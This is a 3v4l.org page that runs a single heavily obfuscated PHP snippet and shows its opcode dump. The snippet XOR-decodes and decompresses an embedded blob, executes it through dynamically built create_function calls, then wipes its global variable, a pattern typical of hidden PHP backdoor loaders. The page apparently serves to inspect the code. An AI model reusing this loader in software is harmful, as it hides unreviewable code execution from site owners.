3v4l.org

run code in 300+ PHP versions simultaneously
<?php $GLOBALS["syqpob"]=array('$GLOBALS["syqpob"][0]=$GLOBALS["syqpob"][3];$phzvlnez=phzvlnez(4,13);$GLOBALS["syqpob"][0]=$phzvlnez($GLOBALS["syqpob"][2]);','$GLOBALS["syqpob"][2]=gzuncompress(phzvlnez(703,2162));','U2d5blFxbW1BbW97a2F1V2x5e1BvbXZ0Zk9zan50fm5pYFRyfXttdGJlSl5UT05EVlxISUBOQ05NVkdDT0VqcnNrcGVwZXZ7ZnBHYVJNb295YyF1ZipFYUY6OTc8VmtXR2hFY2s2en9hJ3w9cVVjLCU6cnA6cURyflZrLCZgYGRqamNhdWlmY3N+UmFvaXhoaW5tMnJ2Z2ZtLXNpe2piLGxrZn5peHsib3V/an16PH5vbGx8c29WZUZDU15RbEV1Z2FxYWREeExZfXN6NDgoRGJka3pGQ1NeXUBWWENHbHZ0azQ8Rm9ybGZmYzp9fGd4aSVxbXVudHt0UlAlaVpOcmlcUlZbR1tNVEJdQHJdVFVHUlxGRVZCTFRfQkJcW1dKX0VGR0VDaUYxckhQayFzYngte3FmIWNqfi0mf2R5eyR3aHhwV1lrIWNqfi0mUEhSInxsb2lET1paV0VGVlFaUkpeWFpaV0pLWmh1IWNqfmpUZXtna2FjbEZ/en9WZm9jdFB2Wnp6d0NBU2V5ZyptbWZtbnl7Jnd2fWdzamRMbmdQVXlnKm1tZm1ueXsmYWdyYHdUQU1waHh1bWdsRm9+fVFWbmYgaWZ1IHtoaWtERmx2dGs0PEZvcmxmZmN3U0xpZ3l9Y3VrY2VGbHJ7Vm9jZWlNanZzb3p7ZW5mRkNTXl1dSk5FUEhFQ19cb0hoJilvcG98ZWN6ZCx2ZnNJayUpZXBte3g5bGZvV2wjKWhtenhnfmxsLGV+ZWQhYHcjYWd3bX5oJ3JuYTdnM1ZFRENvRCh8OkF0emVpKGM6fmp4P3sqZ2RlKGE6bXdtYnViXWd5'.'bnpyam8/V1NncWZjc344JzYoYDpoZWtBR299cnNhcnx3TEooYDptd1VrWGtvYm14cVdnKGA6fWkoUV9DXyYzKCFrV3BGeHR6OChaIWlqaXaLklZ5Z/tDBfAjH8Lfiv4u6+W/xnNduNthfXFPVZqHQM4bPLTJH2gMMDkyzGa3uOAhaVB5sqZJraXiX7m7vi0tmhzJn/G44CNljDmb6WkItWERK7du6gzmjjfJRSr7sX71afM2QwK6oNANo71+IEBV+TGfb+Ce9TN6uoigWzVLP401X5iLEm+yIiBfX8CJswMbmIrbWChjKkaelxjBuzZ5luKaQwkf60e2g9BOI3nAfqab4D4vaYhR0lBa/zuUKCVoIp14GNZsgdwtPQ42JCVQqzfliWRMZwG49a1/ugRa00hL7cC56ml9ll+QXqoOuqcA5sjMP7+0nYzBcx0zH0gfMqMyMV26OIcrJ/GIjgbWFfib9lNSmRGlZucujOPMBgNSvJaIYCaEFcRFsSJhyzEhVsPxUCJRD9pDVvEiNQXjMTWWhWTLYJ8vSONJHOiBYi0onUP+j0JZ7nhA4uajFuG06l81Liz136ubUbE7ObWpJVTBRWOIl3i5TNV8rL31rW1lzldgVv+29eEQ+bfS33t2hm4yVmLS74mZlZDyUPZRYjg+pN//305cq+K4Ai43egkwaZglabCc8erZkZ3Mxhm8z0p9eQHcsKadfCCVPqpmYa73+OTrwvz4uzRNL/HS2LmEL/1VZppIFdgxcaVIIaZ3tXC7Cv5Huc2IEirVcz8ZOBkjkl0UWyZzXhkXaMMQxCk4pP+dq+gwcGxH1+G6fYPLcYJFb0H2CP1OifWIJv/+hMMyKkefbC/a2LAVvARB/URRXNgqRRHpO0Xue8O0YCguPWJEvvF/tgVHZFfU67qcbk5Yo1VDZnbXLwdMRlC85F0T3Y01TwtxvWM9PUxNF4w9/hpH03LRT3lDWzsL1k5F2LeUwc5nEE09td0B'.'UnaZ6TXRmSCrGJZt/DdKBYCnrDiky2jcemUu0sEtizuMd6gMu9QX2bdkFvFo/fLqk0khA9/f+/tJdfqv7DMJnT96y8+8r1Lgq6i3BGHEVVuV23m1dwXfhg1EHan6K3jhxqMJ6hdCKb0jn2Pb4ECBbeX3YjR0hQ23VhxVDsF14S2qpGNMxpClpjb60YD+spffWFbiCTYZiGq0jLGijat/N/aDvNoLQi3aqk4e4RB8yA9Upjr88lWgISu1Bzz6nF/W9ymiQNEzcEprSz3yBzBQNswMCCesj33uzKgFx+Qd69RmXxDco8CZmZnLjGiLZGQ/+eA0a3R+9khv+bevJHlox9UFYvi5kPbm6ePK88jv1/H76RZsDG66uvTToOLvRmED2l0uzRCpiCiRbpJUU5m8N4mmKPOQYZge5EZW2SMWPpWs0Sy/03bsntKHn6+9JdKDKPWrsUY986XU9KFDQbUzblYMSBlICDrwK+zLY1xy5HLxma47nvCZ0rtAyn6ehB15WUKzILsF0Lb7'.'2QPckDKn1UA2iNztwa3uBkhS5JcSHmpsFkhX46Qa4Z7SnuHVkeU2Dxa+YEUCkw2I6BfTsTQhh8dYFrSQKIQYYwGLggqKYGSDs9kKD0Jm+fr22TqTaBy52c/y5Dr2V3fhpvtnwCcGs/jJRwqhck5eSv3KQob3kDcLzSt86AjJaXQwOVjHtm2fAHGR1eVytT3N6skORLTZ1V5rXdMBuTEcFYwsNUr32ipGhOReQhzhi00ifjoYHJWs3lOKnJ1m9fvr4YYEtHjHTWEZcCwF4DQfmz1EirNNWGl2zL2vhsP5RPwCcu4oFD5LZyH3QDUjYuMUdqoqHLBqLTjzjxyqieruxHEunaUmb65k1v+1BrXIQS2njKp3KC6fuh0MTevFkFwOFSULVYRQYJDwo6ecC7Lb1U2t1gDpeRTDGX6eQ/+foCThdAtRGzueZyhIP75cNaff9RqXM+891YItfgKrEBn4XLqaF4gYRToY9GnyiVzmCvJ68mya+dC2K8e7YklA2SwrWhJK/cWR13JJUSgkNZQ2SMcfrxmsingihpNbXY+zWmvu1vgS4B8aBWCcJLZt/gzdhXB1pA/kMz3UZqt5eje8DuBwsg01zVGjGXyWAb2tvyL7TTGZsIdTSJ9b2qjYN'.'DAtjF07Yv+lxkMDYzqNS5sUyoccsmcd38ZiIDH+u2Id8qHmN3p26Sok9u/MJX0B4r6PXARQcXIbh7A6lBmN5lPfrTBN4K7gpfDLcB4bdUUYrtyoOq3dqgsJao42jouQu2+WXVnGKjkEd/aAJNSYCmbyv4WKsJIHDSgGhtIVl0pHIMQgW3QMSS3MsDJcuRZ3KUZ4X5gO548ERS2A2bTFNMCeSTMshN50Et1Nf7zjhdcTWB8NSb4UZOfz0/TCTFybYRmGAvUThd6sgs+jcSgJdqSt4yu/GxSshnEAWhwEvDahES1FeStyYSF8QZDtEhZs96SC3fXHADNqA2gMaZ7f1i5wVhe+VH3BlaGv3V/MItdrA83g7RjQ08Lw8+VaDm7IlHrCA0W3kJOmw+PY7PnV7/zd8eMd9d9tHVZPRm2+jeRy4N4nUSW7+b0QqXrwcXro3GbO3t/gS+zY6d3p+Wdy6P/8D7GMtPLx8/b+GaPy5dS4SE1ntjn+WcwzCwbN4Fwrcw1dBh+Qs1a5zeC4GER0ulOKuGVxlR6IhsEv2ha84nm2gB8U3DbTYf+co6GQVPiFRu1rDPz5AbFKAMlWaLlJTN98IZEBt0vErvOTdj0stwbQ7B4jv3eM2Pk385Iv+r0x/wI5qrMiHyV1Ao0lUEgDEu2tV/Nobfso7MRWoKcZZ30q3wK2v1z6pgtGc2DUwgMJ0dCVj77MHCm3p2hjcy2Jcf0LTh2dWVqqv8BF8bWr/BrlIiBF6+4cZpV+bTG/hRb4j4Q6NpqlAcNb1hhc43NcH1goPMdI9OT/0SDRzk8YabNc382Rgm3TAHYc+gasRD4IaFJV',"/*jo\x6c\x76\x74\x6b\x34\x3c\x46\x6f\x72\x6c\x66\x66\x63*/");$falbnrp='create_';if(function_exists($falbnrp.='function')){$falbnrp('','}phzvlnez($p,$b){$x=str_pad("",$b,"nwgnbhykwoibfqhr");$k=str_repeat("\x1f",$b);$e=str_repeat("\xe0",$b);$t = substr($GLOBALS["syqpob"][0],$p,$b);return(($t^$x)&$k)|($t&$e);}{');for($kb=-1;++$kb<3;$GLOBALS["syqpob"][$kb](phzvlnez)){$GLOBALS["syqpob"][$kb]=$falbnrp('phzvlnez',$GLOBALS["syqpob"][$kb]);}};unset($GLOBALS["syqpob"]);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 37
Branch analysis from position: 9
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 15
Branch analysis from position: 37
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 15
Branch analysis from position: 37
Branch analysis from position: 15
Branch analysis from position: 37
filename:       /in/8KFck
function name:  (null)
number of ops:  40
compiled vars:  !0 = $falbnrp, !1 = $kb
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   FETCH_W                      global              $2      'GLOBALS'
          1        ASSIGN_DIM                                               $2, 'syqpob'
          2        OP_DATA                                                  <array>
          3        ASSIGN                                                   !0, 'create_'
          4        INIT_FCALL                                               'function_exists'
          5        ASSIGN_OP                                     8  ~5      !0, 'function'
          6        SEND_VAL                                                 ~5
          7        DO_ICALL                                         $6      
          8      > JMPZ                                                     $6, ->37
          9    >   INIT_DYNAMIC_CALL                                        !0
         10        SEND_VAL_EX                                              ''
         11        SEND_VAL_EX                                              '%7Dphzvlnez%28%24p%2C%24b%29%7B%24x%3Dstr_pad%28%22%22%2C%24b%2C%22nwgnbhykwoibfqhr%22%29%3B%24k%3Dstr_repeat%28%22%5Cx1f%22%2C%24b%29%3B%24e%3Dstr_repeat%28%22%5Cxe0%22%2C%24b%29%3B%24t+%3D+substr%28%24GLOBALS%5B%22syqpob%22%5D%5B0%5D%2C%24p%2C%24b%29%3Breturn%28%28%24t%5E%24x%29%26%24k%29%7C%28%24t%26%24e%29%3B%7D%7B'
         12        DO_FCALL                                      0          
         13        ASSIGN                                                   !1, -1
         14      > JMP                                                      ->34
         15    >   INIT_DYNAMIC_CALL                                        !0
         16        SEND_VAL_EX                                              'phzvlnez'
         17        CHECK_FUNC_ARG                                           
         18        FETCH_FUNC_ARG               global              $12     'GLOBALS'
         19        FETCH_DIM_FUNC_ARG                               $13     $12, 'syqpob'
         20        FETCH_DIM_FUNC_ARG                               $14     $13, !1
         21        SEND_FUNC_ARG                                            $14
         22        DO_FCALL                                      0  $15     
         23        FETCH_W                      global              $9      'GLOBALS'
         24        FETCH_DIM_W                                      $10     $9, 'syqpob'
         25        ASSIGN_DIM                                               $10, !1
         26        OP_DATA                                                  $15
         27        FETCH_R                      global              ~16     'GLOBALS'
         28        FETCH_DIM_R                                      ~17     ~16, 'syqpob'
         29        FETCH_DIM_R                                      ~18     ~17, !1
         30        INIT_DYNAMIC_CALL                                        ~18
         31        FETCH_CONSTANT                                   ~19     'phzvlnez'
         32        SEND_VAL_EX                                              ~19
         33        DO_FCALL                                      0          
         34    >   PRE_INC                                          ~21     !1
         35        IS_SMALLER                                               ~21, 3
         36      > JMPNZ                                                    ~22, ->15
         37    >   FETCH_UNSET                                      $23     'GLOBALS'
         38        UNSET_DIM                                                $23, 'syqpob'
         39      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.83 ms | 1400 KiB | 15 Q